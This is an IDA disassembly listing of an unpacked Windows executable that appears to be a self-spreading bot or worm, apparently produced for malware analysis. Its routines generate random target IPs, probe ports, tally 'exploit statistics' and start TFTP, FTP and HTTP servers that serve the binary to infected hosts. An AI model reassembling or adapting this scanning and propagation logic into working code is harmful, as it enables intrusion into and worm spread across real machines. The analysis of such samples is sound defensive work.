;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	03D6A705703A245A902C08F732A698E9

; File Name   :	u:\work\03d6a705703a245a902c08f732a698e9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00082000 ( 532480.)
; Section size in file		: 00082000 ( 532480.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; CODE XREF: sub_409806+5292p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aScanExploitSta ; "[SCAN]: Exploit Statistics:"
		push	eax
		xor	ebx, ebx
		call	sub_416905
		cmp	dword_42E068, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40106E
		push	esi
		mov	esi, offset dword_42E070


loc_401033:				; CODE XREF: start+6Bj
		mov	eax, [esi]
		push	eax
		add	ebx, eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4167D0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_401033
		pop	esi


loc_40106E:				; CODE XREF: start+2Bj
		push	dword_480AB8
		call	sub_41296D
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4167D0
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401ECD
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010CA	proc near		; CODE XREF: sub_409806+4BC1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	9
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jle	short loc_401106
		mov	eax, [ebp+arg_C]
		push	dword_4331C0[eax*8]
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset aScanCurrentIpS ; "[SCAN]: Current IP: %s."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_401106:				; CODE XREF: sub_4010CA+13j
		lea	eax, [ebp+var_200]
		push	offset aScanScanNotAct ; "[SCAN]: Scan not active."
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_401119:				; CODE XREF: sub_4010CA+3Aj
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401ECD
		add	esp, 18h
		leave
		retn
sub_4010CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401141	proc near		; CODE XREF: sub_401B65+4Fp

var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		cmp	eax, 0FFFFFFFFh
		jz	locret_4014DA
		imul	eax, 3Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_42E074[eax], ebx
		push	esi
		jz	loc_4013CB
		push	5
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jnz	loc_4014D8
		mov	eax, dword_42FCBC
		push	edi
		push	104h
		mov	edi, offset dword_4347D4
		push	edi
		push	ebx
		mov	dword_4349E4, eax
		mov	dword_4349E0, ebx
		call	dword_42200C	; GetModuleFileNameA
		push	103h
		push	offset byte_42FD48
		mov	esi, offset dword_4348D8
		push	esi
		call	sub_4169C0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4347D0, eax
		mov	eax, [ebp+arg_138]
		mov	dword_434A68, eax
		push	7Fh
		jnz	short loc_4011F1
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4349E8
		call	sub_4169C0
		mov	dword_434A6C, 1
		jmp	short loc_401208
; ---------------------------------------------------------------------------


loc_4011F1:				; CODE XREF: sub_401141+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4349E8
		call	sub_4169C0
		mov	dword_434A6C, ebx


loc_401208:				; CODE XREF: sub_401141+AEj
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_4349E4
		lea	eax, [ebp+var_204]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_416905
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	dword_4349DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4347D0
		push	offset sub_4131EE
		push	ebx
		push	ebx
		call	dword_422008	; CreateThread
		mov	ecx, dword_4349DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43B254[ecx], eax
		jnz	loc_401320
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "...
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_401287:				; CODE XREF: sub_401141+1E7j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401ECD
		call	sub_41699A
		cdq
		mov	ecx, 0F82Fh
		idiv	ecx
		mov	[esp+208h+var_208], 104h
		mov	edi, offset dword_43452C
		push	edi
		push	ebx
		mov	dword_434738, ebx
		add	edx, 400h
		mov	dword_43473C, edx
		call	dword_42200C	; GetModuleFileNameA
		push	103h
		push	offset byte_42FD48
		mov	esi, offset dword_434630
		push	esi
		call	sub_4169C0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_434528, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4347C0, eax
		push	7Fh
		jnz	short loc_40132D
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_434740
		call	sub_4169C0
		mov	dword_4347C4, 1
		jmp	short loc_401344
; ---------------------------------------------------------------------------


loc_401318:				; CODE XREF: sub_401141+1E5j
		push	32h
		call	dword_422000	; Sleep


loc_401320:				; CODE XREF: sub_401141+125j
		cmp	dword_434A70, ebx
		jz	short loc_401318
		jmp	loc_401287
; ---------------------------------------------------------------------------


loc_40132D:				; CODE XREF: sub_401141+1BBj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_434740
		call	sub_4169C0
		mov	dword_4347C4, ebx


loc_401344:				; CODE XREF: sub_401141+1D5j
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_43473C
		lea	eax, [ebp+var_204]
		push	offset aFtpServerStart ; "[FTP]: Server	started	on Port: %d, File"...
		push	eax
		call	sub_416905
		push	ebx
		lea	eax, [ebp+var_204]
		push	6
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	dword_434734, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_434528
		push	offset sub_404260
		push	ebx
		push	ebx
		call	dword_422008	; CreateThread
		mov	ecx, dword_434734
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43B254[ecx], eax
		pop	edi
		jnz	short loc_4013BE
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aFtpFailedToSta ; "[FTP]: Failed	to start server, error:	<"...
		jmp	loc_4014BC
; ---------------------------------------------------------------------------


loc_4013B6:				; CODE XREF: sub_401141+283j
		push	32h
		call	dword_422000	; Sleep


loc_4013BE:				; CODE XREF: sub_401141+262j
		cmp	dword_4347C8, ebx
		jz	short loc_4013B6
		jmp	loc_4014CB
; ---------------------------------------------------------------------------


loc_4013CB:				; CODE XREF: sub_401141+25j
		cmp	dword_42E078[eax], ebx
		jz	loc_4014D8
		push	4
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jnz	loc_4014D8
		push	104h
		mov	esi, offset dword_434404
		push	esi
		push	ebx
		call	dword_42200C	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_416960
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_401409
		mov	[eax], bl


loc_401409:				; CODE XREF: sub_401141+2C4j
		mov	eax, dword_42FCC0
		mov	dword_434508, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43417C
		mov	dword_43451C, ebx
		call	sub_416905
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_434508
		mov	dword_434514, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_434178, eax
		mov	dword_434518, ecx
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_416905
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	dword_434510, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_434178
		push	offset sub_405549
		push	ebx
		push	ebx


loc_401494:				; DATA XREF: .text:off_4317B8o
					; .text:off_432070o
		call	dword_422008	; CreateThread
		mov	ecx, dword_434510
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43B254[ecx], eax
		jnz	short loc_4014E4
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"...


loc_4014BC:				; CODE XREF: sub_401141+270j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_4014CB:				; CODE XREF: sub_401141+285j
					; sub_401141+3ABj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_4014D8:				; CODE XREF: sub_401141+35j
					; sub_401141+290j ...
		pop	esi
		pop	ebx

locret_4014DA:				; CODE XREF: sub_401141+12j
		leave
		retn
; ---------------------------------------------------------------------------


loc_4014DC:				; CODE XREF: sub_401141+3A9j
		push	32h
		call	dword_422000	; Sleep


loc_4014E4:				; CODE XREF: sub_401141+36Dj
		cmp	dword_434524, ebx
		jz	short loc_4014DC
		jmp	short loc_4014CB
sub_401141	endp


; =============== S U B	R O U T	I N E =======================================



sub_4014EE	proc near		; CODE XREF: sub_401950:loc_4019B2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	esi, ds:4331C0h[esi*8]
		push	dword ptr [esi]
		call	dword_43A474	; ntohl
		inc	eax
		push	eax
		call	dword_43A4CC	; ntohl
		mov	[esi], eax
		pop	esi
		retn
sub_4014EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40150E	proc near		; CODE XREF: sub_4017DA+71p

var_E4		= word ptr -0E4h
var_E2		= word ptr -0E2h
var_E0		= word ptr -0E0h
var_DE		= word ptr -0DEh
var_DC		= word ptr -0DCh
var_DA		= word ptr -0DAh
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= word ptr -0D4h
var_D2		= word ptr -0D2h
var_D0		= word ptr -0D0h
var_CE		= word ptr -0CEh
var_CC		= word ptr -0CCh
var_CA		= word ptr -0CAh
var_C8		= word ptr -0C8h
var_C6		= word ptr -0C6h
var_C4		= word ptr -0C4h
var_C2		= word ptr -0C2h
var_C0		= word ptr -0C0h
var_BE		= word ptr -0BEh
var_BC		= word ptr -0BCh
var_BA		= word ptr -0BAh
var_B8		= word ptr -0B8h
var_B6		= word ptr -0B6h
var_B4		= word ptr -0B4h
var_B2		= word ptr -0B2h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= word ptr -0A0h
var_9E		= word ptr -9Eh
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= word ptr -8Ch
var_8A		= word ptr -8Ah
var_88		= word ptr -88h
var_86		= word ptr -86h
var_84		= word ptr -84h
var_82		= word ptr -82h
var_80		= word ptr -80h
var_7E		= word ptr -7Eh
var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= word ptr -70h
var_6E		= word ptr -6Eh
var_6C		= word ptr -6Ch
var_6A		= word ptr -6Ah
var_68		= word ptr -68h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= word ptr -60h
var_5E		= word ptr -5Eh
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0E4h
		xor	eax, eax
		mov	[ebp+74h+var_E4], ax
		mov	[ebp+74h+var_E2], 1
		mov	[ebp+74h+var_E0], 2
		mov	[ebp+74h+var_DE], 5
		mov	[ebp+74h+var_DC], 7
		mov	[ebp+74h+var_DA], 0Bh
		mov	[ebp+74h+var_D8], 17h
		mov	[ebp+74h+var_D6], 1Bh
		mov	[ebp+74h+var_D4], 1Fh
		mov	[ebp+74h+var_D2], 24h
		mov	[ebp+74h+var_D0], 25h
		mov	[ebp+74h+var_CE], 27h
		mov	[ebp+74h+var_CC], 29h
		mov	[ebp+74h+var_CA], 2Ah
		mov	[ebp+74h+var_C8], 31h
		mov	[ebp+74h+var_C6], 32h
		mov	[ebp+74h+var_C4], 49h
		mov	[ebp+74h+var_C2], 4Ah
		mov	[ebp+74h+var_C0], 4Bh
		mov	[ebp+74h+var_BE], 4Ch
		mov	[ebp+74h+var_BC], 4Dh
		mov	[ebp+74h+var_BA], 4Eh
		mov	[ebp+74h+var_B8], 4Fh
		mov	[ebp+74h+var_B6], 59h
		mov	[ebp+74h+var_B4], 5Ah
		mov	[ebp+74h+var_B2], 5Bh
		mov	[ebp+74h+var_B0], 5Ch
		mov	[ebp+74h+var_AE], 5Dh
		mov	[ebp+74h+var_AC], 5Eh
		mov	[ebp+74h+var_AA], 5Fh
		mov	[ebp+74h+var_A8], 60h
		mov	[ebp+74h+var_A6], 61h
		mov	[ebp+74h+var_A4], 62h
		mov	[ebp+74h+var_A2], 63h
		mov	[ebp+74h+var_A0], 64h
		mov	[ebp+74h+var_9E], 65h
		mov	[ebp+74h+var_9C], 66h
		mov	[ebp+74h+var_9A], 67h
		mov	[ebp+74h+var_98], 68h
		mov	[ebp+74h+var_96], 69h
		mov	[ebp+74h+var_94], 6Ah
		mov	[ebp+74h+var_92], 6Bh
		mov	[ebp+74h+var_90], 6Ch
		mov	[ebp+74h+var_8E], 6Dh
		mov	[ebp+74h+var_8C], 6Eh
		mov	[ebp+74h+var_8A], 6Fh
		mov	[ebp+74h+var_88], 70h
		mov	[ebp+74h+var_86], 71h
		mov	[ebp+74h+var_84], 72h
		mov	[ebp+74h+var_82], 73h
		mov	[ebp+74h+var_80], 74h
		mov	[ebp+74h+var_7E], 75h
		mov	[ebp+74h+var_7C], 76h
		mov	[ebp+74h+var_7A], 77h
		mov	[ebp+74h+var_78], 78h
		mov	[ebp+74h+var_76], 79h
		mov	[ebp+74h+var_74], 7Ah
		mov	[ebp+74h+var_72], 7Bh
		mov	[ebp+74h+var_70], 7Ch
		mov	[ebp+74h+var_6E], 7Dh
		mov	[ebp+74h+var_6C], 7Eh
		mov	[ebp+74h+var_6A], 7Fh
		mov	[ebp+74h+var_68], 0ADh
		mov	[ebp+74h+var_66], 0AEh
		mov	[ebp+74h+var_64], 0AFh
		mov	[ebp+74h+var_62], 0B0h
		mov	[ebp+74h+var_60], 0B1h
		mov	[ebp+74h+var_5E], 0B2h
		mov	[ebp+74h+var_5C], 0B3h
		mov	[ebp+74h+var_5A], 0B4h
		mov	[ebp+74h+var_58], 0B5h
		mov	[ebp+74h+var_56], 0B6h
		mov	[ebp+74h+var_54], 0B7h
		mov	[ebp+74h+var_52], 0B8h
		mov	[ebp+74h+var_50], 0B9h
		mov	[ebp+74h+var_4E], 0BAh
		mov	[ebp+74h+var_4C], 0BBh
		mov	[ebp+74h+var_4A], 0BDh
		mov	[ebp+74h+var_48], 0BEh
		mov	[ebp+74h+var_46], 0C5h
		mov	[ebp+74h+var_44], 0DFh
		mov	[ebp+74h+var_42], 0E0h
		mov	[ebp+74h+var_40], 0E1h
		mov	[ebp+74h+var_3E], 0E2h
		mov	[ebp+74h+var_3C], 0E3h
		mov	[ebp+74h+var_3A], 0E4h
		mov	[ebp+74h+var_38], 0E5h
		mov	[ebp+74h+var_36], 0E6h
		mov	[ebp+74h+var_34], 0E7h
		mov	[ebp+74h+var_32], 0E8h
		mov	[ebp+74h+var_30], 0E9h
		mov	[ebp+74h+var_2E], 0EAh
		mov	[ebp+74h+var_2C], 0EBh
		mov	[ebp+74h+var_2A], 0ECh
		mov	[ebp+74h+var_28], 0EDh
		mov	[ebp+74h+var_26], 0EEh
		mov	[ebp+74h+var_24], 0EFh
		mov	[ebp+74h+var_22], 0F0h
		mov	[ebp+74h+var_20], 0F1h
		mov	[ebp+74h+var_1E], 0F2h
		mov	[ebp+74h+var_1C], 0F3h
		mov	[ebp+74h+var_1A], 0F4h
		mov	[ebp+74h+var_18], 0F5h
		mov	[ebp+74h+var_16], 0F6h
		mov	[ebp+74h+var_14], 0F7h
		mov	[ebp+74h+var_12], 0F8h
		mov	[ebp+74h+var_10], 0F9h
		mov	[ebp+74h+var_E], 0FAh
		mov	[ebp+74h+var_C], 0FBh
		mov	[ebp+74h+var_A], 0FCh
		mov	[ebp+74h+var_8], 0FDh
		mov	[ebp+74h+var_6], 0FEh
		mov	[ebp+74h+var_4], 0FFh


loc_4017BF:				; CODE XREF: sub_40150E+2BFj
		movsx	ecx, [ebp+eax*2+74h+var_E4]
		cmp	[ebp+74h+arg_0], ecx
		jz	short loc_4017D6
		inc	eax
		cmp	eax, 71h
		jb	short loc_4017BF
		xor	al, al


loc_4017D1:				; CODE XREF: sub_40150E+2CAj
		add	ebp, 74h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4017D6:				; CODE XREF: sub_40150E+2B9j
		mov	al, 1
		jmp	short loc_4017D1
sub_40150E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017DA	proc near		; CODE XREF: sub_401950+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		lea	ecx, [eax+1]


loc_4017F6:				; CODE XREF: sub_4017DA+21j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4017F6
		sub	eax, ecx
		cmp	eax, 0Fh
		jbe	short loc_40180B
		xor	eax, eax
		jmp	loc_4018B0
; ---------------------------------------------------------------------------


loc_40180B:				; CODE XREF: sub_4017DA+28j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416AE4
		add	esp, 18h
		cmp	[ebp+var_4], edi
		jnz	short loc_401855
		call	sub_41699A
		mov	esi, 0FFh
		jmp	short loc_401842
; ---------------------------------------------------------------------------


loc_40183D:				; CODE XREF: sub_4017DA+79j
		call	sub_41699A


loc_401842:				; CODE XREF: sub_4017DA+61j
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		mov	[ebp+var_4], edx
		call	sub_40150E
		test	al, al
		pop	ecx
		jnz	short loc_40183D


loc_401855:				; CODE XREF: sub_4017DA+55j
		cmp	[ebp+var_C], edi
		mov	esi, 100h
		jnz	short loc_40186C
		call	sub_41699A
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_C], edx


loc_40186C:				; CODE XREF: sub_4017DA+83j
		cmp	[ebp+var_8], edi
		jnz	short loc_40187C
		call	sub_41699A
		cdq
		idiv	esi
		mov	[ebp+var_8], edx


loc_40187C:				; CODE XREF: sub_4017DA+95j
		mov	edx, [ebp+var_10]
		cmp	edx, edi
		pop	esi
		jnz	short loc_401892
		call	sub_41699A
		cdq
		mov	ecx, 0FEh
		idiv	ecx
		inc	edx


loc_401892:				; CODE XREF: sub_4017DA+A8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		shl	edx, 8
		add	edx, [ebp+var_8]
		shl	edx, 8
		add	edx, [ebp+var_C]
		shl	edx, 8
		add	eax, edx
		mov	dword_4331C0[ecx*8], eax


loc_4018B0:				; CODE XREF: sub_4017DA+2Cj
		pop	edi
		leave
		retn
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018B3	proc near		; CODE XREF: sub_401950+A9p
					; sub_403FEB+2Cp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	ebx
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43A39C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4018DC
		xor	eax, eax
		jmp	short loc_40194B
; ---------------------------------------------------------------------------


loc_4018DC:				; CODE XREF: sub_4018B3+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43A4F4	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A334	; ioctlsocket
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_43A34C	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43A448	; select
		push	esi
		mov	edi, eax
		call	dword_43A4B0	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40194B:				; CODE XREF: sub_4018B3+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4018B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401950	proc near		; DATA XREF: sub_401B65+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_401B41
; ---------------------------------------------------------------------------


loc_40199C:				; CODE XREF: sub_401950+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4019B2
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_4017DA
		pop	ecx
		jmp	short loc_4019B7
; ---------------------------------------------------------------------------


loc_4019B2:				; CODE XREF: sub_401950+51j
		call	sub_4014EE


loc_4019B7:				; CODE XREF: sub_401950+60j
		pop	ecx
		push	[ebp+arg_0]
		mov	edi, eax
		push	dword_43B244[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43B040[ebx]
		push	eax
		call	sub_416905
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4018B3
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_401B36
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_401A8B
		push	offset dword_434160
		call	dword_422018	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_401A6D
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_401A61
		lea	eax, [ebp+var_140]


loc_401A61:				; CODE XREF: sub_401950+109j
		push	eax
		push	[ebp+var_40]
		call	sub_405D20
		add	esp, 14h


loc_401A6D:				; CODE XREF: sub_401950+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_401ECD
